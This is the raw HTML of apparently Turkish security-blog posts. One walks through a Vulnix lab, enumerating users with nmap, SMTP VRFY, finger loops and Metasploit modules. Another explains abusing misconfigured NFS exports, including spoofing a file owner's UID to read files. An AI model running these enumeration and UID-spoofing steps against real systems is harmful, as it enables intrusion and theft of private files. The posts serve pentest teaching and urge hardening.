src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3Wb7X65MWVsXUEP7yewA8oTRPtBqqy5_M85wcvGZGb9RzxCqTzzf8eJy52GdYxHXaFT2NhZ9X9648uS8Cpcv87A7hy48I7FTsJ3hLK4Ln3x-1PJfRiRVBgvAWv7EeSEDl_FrOdifs4775/s640/2.png" width="640" /></a></div><div style="text-align: justify;">Vulnix sanal makinesinin bilgileri aşağıda görüldüğü gibidir. </div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_8NZYw2iiZ1OOV-a4KSsCOyczGzBhxhojgGBhZXODTm0cv2p1P-AIM3HbLWBW8ygS_9pJOkCBPjlp7yFDrzAz_Dl6nngtjewyCr-UE-1swujxXUo5NfbKJpXGxbNVN6HXXj2QMa94tE9-/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_8NZYw2iiZ1OOV-a4KSsCOyczGzBhxhojgGBhZXODTm0cv2p1P-AIM3HbLWBW8ygS_9pJOkCBPjlp7yFDrzAz_Dl6nngtjewyCr-UE-1swujxXUo5NfbKJpXGxbNVN6HXXj2QMa94tE9-/s320/1.png" width="209" /></a></div><div style="text-align: justify;">Burada dikkat edilecek husus ağ bağlantısının NAT modunda bırakıldığıdır. Dolayısıyla host bilgisayarınızda NAT ağı olarak hangi ağı belirttiyseniz Vulnix o ağdan otomatik olarak IP alacaktır. Bu ağın hangi subnet olduğunu görmek için Workstation üzerinde <b><i>Edit>Virtual Network Editor</i></b> bağlantısından sonra görülebilecek aşağıdaki gibi bir ekran yeterlidir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkawseadPnD6V5nwpU7Y30wZebgKRd6wqH2nUiEQfnx847M7MKa5uSnknpHsTPtiVMsIBwGLGZhAeOa9tYv8IPKAd1Icu7y8sGJNVcKSq07RDCKMkxQqJAZYItUCMcXKtZaGP8p-We-88S/s1600/33.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkawseadPnD6V5nwpU7Y30wZebgKRd6wqH2nUiEQfnx847M7MKa5uSnknpHsTPtiVMsIBwGLGZhAeOa9tYv8IPKAd1Icu7y8sGJNVcKSq07RDCKMkxQqJAZYItUCMcXKtZaGP8p-We-88S/s400/33.png" width="400" /></a></div><div style="text-align: justify;">Örneğimizde Vulnix imajının 192.168.1.0/24 aralığından IP adresi alacağı görülmektedir. Ortamımız hazır olduğuna göre klasik adımları takip ederek sızma testine başlayabiliriz.</div><h3><span style="color: #cc0000;"><br />1. Keşif ve IP/Port Tarama</span></h3><div style="text-align: justify;">Bu adımda Nmap aracı kullanılarak Vulnix imajının hangi IP adresini aldığı ve üzerindeki servis veren açık portlar belirlenecektir. Bunun için BT5 üzerinden parametreleri aşağıdaki gibi ayarlanmış bir Nmap taraması yapılabilir.</div><h4>root@agguvenligi:~# nmap -sT -n --top-ports 1000 -T4 -O --open 192.168.1.0/24</h4><div style="text-align: justify;">Tarama sonrası ekran görüntüsü aşağıdaki gibi olmaktadır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD1uw9kptuAqDQ4Uon1KfZSsC37buKdLvFjQf_cL1hyphenhyphenZlQLSt2flipo3DEl0WUcjS_fpg5utgMJLPoJKKM7ejKbAUMsrPqLfCgfPDnHGRLiuwJHC-t-tI8wZ-EqkuRJJ1oP3Zk_LqN9bLD/s1600/2013-08-24_203659.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD1uw9kptuAqDQ4Uon1KfZSsC37buKdLvFjQf_cL1hyphenhyphenZlQLSt2flipo3DEl0WUcjS_fpg5utgMJLPoJKKM7ejKbAUMsrPqLfCgfPDnHGRLiuwJHC-t-tI8wZ-EqkuRJJ1oP3Zk_LqN9bLD/s1600/2013-08-24_203659.png" /></a></div><h3><span style="color: #cc0000;"><br />2. Servisler Üzerinden Bilgi Toplama</span></h3><h3>a. SMTP</h3><div style="text-align: justify;">SMTP sunucular üzerinde kullanılabilecek VRFY komutu sunucu üzerindeki mevcut kullanıcıların varlığını belirlemek amacıyla kullanılabilir. Komut aşağıdaki gibi kullanılabilir. Eğer kullanıcı sistem üzerinde mevcutsa 252 cevabı dönerken bulunamaması durumunda 550 cevabı alınacaktır.</div><div style="text-align: justify;"><h4>root@agguvenligi:~# telnet hedef_ip_adresi 25<br />vrfy geçerli_kullanıcı_adı<br />vrfy geçersiz_kullanıcı_adı</h4><div>Bu işlemi belirli bir sözlük kullanarak otomatik olarak gerçekleştirmek için Metasploit içersindeki <b><i>auxiliary/scanner/smtp/smtp_enum</i></b> modülü kullanılabilir.</div><div><h4>msf> use auxiliary/scanner/smtp/smtp_enum<br />msf auxiliary(smtp_enum) > set RHOSTS 192.168.1.101<br />msf auxiliary(smtp_enum) > run</h4></div><div class="separator" style="clear: both; text-align: center;"></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9H2j6W60EDEN80JkzZDWm6xC0ag02eLWXY2HW9EZeXX0cn9GJ3Re0lseatcHrvfGT4TbEsNWE5TIXNhhC9NQM8nNXRHP-J5UgDCiJ-I7Q4onmBaVJjzBEh2wm-yBJ8CwA6zCSGE_hGwHp/s1600/2013-08-24_214721.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9H2j6W60EDEN80JkzZDWm6xC0ag02eLWXY2HW9EZeXX0cn9GJ3Re0lseatcHrvfGT4TbEsNWE5TIXNhhC9NQM8nNXRHP-J5UgDCiJ-I7Q4onmBaVJjzBEh2wm-yBJ8CwA6zCSGE_hGwHp/s1600/2013-08-24_214721.png" /></a></div><br /></div><div>Manuel olarak yapılan örnekte <b>user </b>ve <b>vulnix </b>kullanıcılarının sistem üzerinde olduğu görülmektedir.</div><div class="separator" style="clear: both; text-align: center;"></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLZe-vuxsISUQtExHEjtNsQQaNwHPiTOX-wkKRCTIASvwmVufW4lZJ2vFO3IvSjmUWqzCKd80gDfpUIo-6r7cLsrDeFMxjI7ZEcDByRkCv0axhEEt7dhiO_Cc5_OZowpmUIt8c1zxLWAG3/s1600/2013-08-24_204409.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLZe-vuxsISUQtExHEjtNsQQaNwHPiTOX-wkKRCTIASvwmVufW4lZJ2vFO3IvSjmUWqzCKd80gDfpUIo-6r7cLsrDeFMxjI7ZEcDByRkCv0axhEEt7dhiO_Cc5_OZowpmUIt8c1zxLWAG3/s640/2013-08-24_204409.png" width="640" /></a></div></div></div><h3>b. FINGER</h3><div style="text-align: justify;">Bilgi toplama için kullanılabilecek diğer bir servis sistem üzerinde açık olduğu görülen finger servisidir. Bu servis Linux sistem üzerindeki mevcut kullanıcılara dair bilgileri sunan tehlike arz edebilecek bir servistir. Manuel olarak yapılan kontrolde </div><h4>root@agguvenligi:~# finger -l -p vulnix@192.168.1.101</h4><div style="text-align: justify;">komutu çalıştırılarak <b>vulnix </b>kullanıcısına dair bilgiler finger servisinin verdiği şekliyle aşağıda görüldüğü gibi olmaktadır. Sonuçtan bu kullanıcının sistemde kabuk çalıştırmasının mümkün olduğu görülmektedir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisNel6pWW_V8grZNDUJik2VA9Y7XOHZhQRr9bZ8h-27zzRhwRDpMbM2DcfBCDXs5Uy7bXox4tyxSxNOK4-4bNBymjaFYYsxg1EGu9hyphenhyphenvxlLe4PgROsEAAjrAOqzdc2rhFS_MyzE7JEUJcL/s1600/2013-08-24_204843.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisNel6pWW_V8grZNDUJik2VA9Y7XOHZhQRr9bZ8h-27zzRhwRDpMbM2DcfBCDXs5Uy7bXox4tyxSxNOK4-4bNBymjaFYYsxg1EGu9hyphenhyphenvxlLe4PgROsEAAjrAOqzdc2rhFS_MyzE7JEUJcL/s1600/2013-08-24_204843.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Bir sözlük yardımıyla bu işlemi otomatik hale getirmek için aşağıdaki gibi bir komut seti kullanılabilir. Bu şekilde sözlük içerisindeki bütün kullanıcı adlarının finger servisi ile hedef sistem üzerinde var olup olmadığı keşfedilebilir.</div><h4>root@agguvenligi:~# cat /opt/metasploit/apps/pro/msf3/data/wordlists/unix_users.txt | while read username; do finger -l -p $username@192.168.1.101 | grep -Ev "101|no such user|No one logged on|No mail|No Plan"; done</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjeWjV-gOCsPjYRCdudwimnLEZ_ouJxj7Tesdr6mQNEN2FGsr-cIDkRsbYVhbPkQSXsRUeuE8nQ1mKMRiK3VEaj4OtMK1DhAyoFKwGZ50WR4zU0qcSNQ9DS8kc_zH_DUTOf0kI8eB51Ria/s1600/2013-08-25_104440.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjeWjV-gOCsPjYRCdudwimnLEZ_ouJxj7Tesdr6mQNEN2FGsr-cIDkRsbYVhbPkQSXsRUeuE8nQ1mKMRiK3VEaj4OtMK1DhAyoFKwGZ50WR4zU0qcSNQ9DS8kc_zH_DUTOf0kI8eB51Ria/s640/2013-08-25_104440.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: left;"><span style="text-align: justify;">Finger servisine yönelik sözlük saldırısı için Metasploit içerisinde mevcut bir modül olan </span><b style="text-align: justify;"><i>auxiliary/scanner/finger/finger_users</i></b><span style="text-align: justify;"> modülü kullanılabilir. Kullanımı şu şekildedir:</span></div><div><h4>msf> use auxiliary/scanner/finger/finger_users<br />msf auxiliary(finger_users) > set RHOSTS 192.168.1.101<br />RHOSTS => 192.168.1.101<br />msf auxiliary(finger_users) > run</h4></div></div><div class="separator" style="clear: both; text-align: center;"></div>

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #1

Zafiyet tarama ve bulunan zafiyetlerin sızma testleri ile doğrulanması güvenliğe proaktif açıdan bakılmasının en önemli sonuçlarındandır. Bu...

NFS Paylaşımının İstismarı

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx5VIKGydlfQMM4jpdNNhaSlkpQx471P-UHqKkni07nZho8myTRmWYcnMp739cPnGeM9Mn385Qhd1nE4ZfkS_rlBRFCnMK1uyV-x_OMf0ENpCU2llRAq8zcGkJ2LodSDeW6vyUwWlRFUX_/s1600/nfs.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx5VIKGydlfQMM4jpdNNhaSlkpQx471P-UHqKkni07nZho8myTRmWYcnMp739cPnGeM9Mn385Qhd1nE4ZfkS_rlBRFCnMK1uyV-x_OMf0ENpCU2llRAq8zcGkJ2LodSDeW6vyUwWlRFUX_/s200/nfs.png" width="200" /></a></div><span style="text-align: justify;">NFS (Network File System) UNIX/Linux işletim sistemlerinin doğal, kararlı ve güçlü bir dosya paylaşım sistemidir. Gerekli yapılandırma dosyası</span><b style="text-align: justify;"><i> /etc/exports</i> </b><span style="text-align: justify;">olup güvenlik özellikleri göz ardı edildiğinde istismar edilebilecek bir zafiyete neden olabilir. Bu yazıda NFS paylaşımı üzerinden sistem üzerinde yetki elde etmeye yönelik bir yöntemden bahsedilecektir.</span><br /><span style="text-align: justify;"><br /></span><span style="text-align: justify;">Varsayılan olarak </span><b style="text-align: justify;">2049/tcp</b><span style="text-align: justify;"> üzerinden çalışan NFS servisinin tespiti nmap vb. araçlarla gerçekleştirildikten sonra servisin açık olduğu belirlenen varlık üzerindeki paylaşımların tespiti için farklı araçlar kullanılabilir. </span><br /><a name="more"></a><br /><span style="text-align: justify;">Geleneksel Linux sistemlerdeki </span><b style="text-align: justify;">showmount </b><span style="text-align: justify;">komutu ile paylaşım tespiti:</span><br /><h4># showmount -e 10.0.0.5</h4><b>Nmap </b>aracı ile paylaşım tespiti:<br /><h4># nmap -n -PN -sS -T5 -p 2049 --script=nfs-showmount 10.0.0.0/24</h4><b>Metasploit </b>ile paylaşım tespiti:<br /><h4>msf > use auxiliary/scanner/nfs/nfsmount<br />msf auxiliary(nfsmount) > set RHOSTS 10.0.0.0/24<br />msf auxiliary(nfsmount) > run</h4>Tespit edilen paylaşımların yerel sisteme bağlanması  şu şekilde gerçekleşir.<br /><h4># mount -t nfs 10.0.05:/paylasim_adi /baglama_dizini</h4>Daha öncede belirtildiği üzere<i> <b>/etc/exports</b></i> içerisindeki<br /><h4>/       *(rw)</h4><div style="text-align: justify;">şeklindeki bir yapılandırma ile bütün sistem herhangi bir erişim izni olmaksızın ağdaki herkesin yerel sistemine okuma/yazma hakkı ile bağlanabilir duruma gelebilmektedir. Ve bu sızma testlerinde büyük ölçekli kurumsal yapılarda dahi karşılaşılabilen bir durumdur. Böyle bir durumda Linux sistemler için gerçekleştirilebilecek post-exploitation adımları uygulanabilir.</div><div style="text-align: justify;">Bir diğer durumda bağlanan sistemin farklı UID değerli kullanıcıya ait olması nedeniyle dosyaların açılamaması durumudur. Öncelikle <b>showmount </b>komutu ile<b><i> /export/home</i></b> dizininin paylaşıldığı bir ortamda saldırgan sistem üzerinde öncelikle aşağıdaki komut ile hedef dizine yerele bağlanır.</div><h4>#mount -t nfs 192.168.0.1:/export/home /baglama_dizini</h4><div style="text-align: justify;">Hedef dizini bu şekilde yerel sisteme bağlandıktan sonra<b> ls -al </b>komutunun çıktısı sonucunda bağlanan dosyaların yerel sistemde mevcut olmayan UID değerine sahip bir kullanıcıya ait olduğu görülebilir</div><h4>-rwxr----- 2626 1000 1898 parolalar_doc</h4><div style="text-align: justify;">DAC mantığı ile çalışan geleneksel sistemler bu dosyanın açılmasına izin vermeyeceği için şu şekilde bir yöntem izlenebilir. Öncelikle dizin bağı çözülür:</div><h4># umount /baglama_dizini</h4>Örnek bir kullanıcı oluşturulup UID değeri paylaşımındaki değer olacak şekilde ayarlanır.<br /><h4># useradd raptiye<br /># usermod -u 2626 raptiye</h4>Yeni kullanıcının ortamına geçiş yapılır:<br /><h4># su raptiye</h4><div style="text-align: justify;">Bu noktadan sonra paylaşım tekrar yerele bağlandığında aynı UID'li kullanıcıya sahip olunduğu için bağlanan dosyalar sorunsuz şekilde açılacaktır.</div><blockquote class="tr_bq" style="text-align: justify;"><b><span style="color: #990000;">Kıssadan hisse: </span>Bir sistem yöneticisi olarak sorunsuz bir sızma testi yaptırmak istiyorsanız lütfen paylaşımlara yönelik erişim kontrollerini gözden geçiriniz.</b></blockquote>

NFS Paylaşımının İstismarı

NFS (Network File System) UNIX/Linux işletim sistemlerinin doğal, kararlı ve güçlü bir dosya paylaşım sistemidir. Gerekli yapılandırma dosya...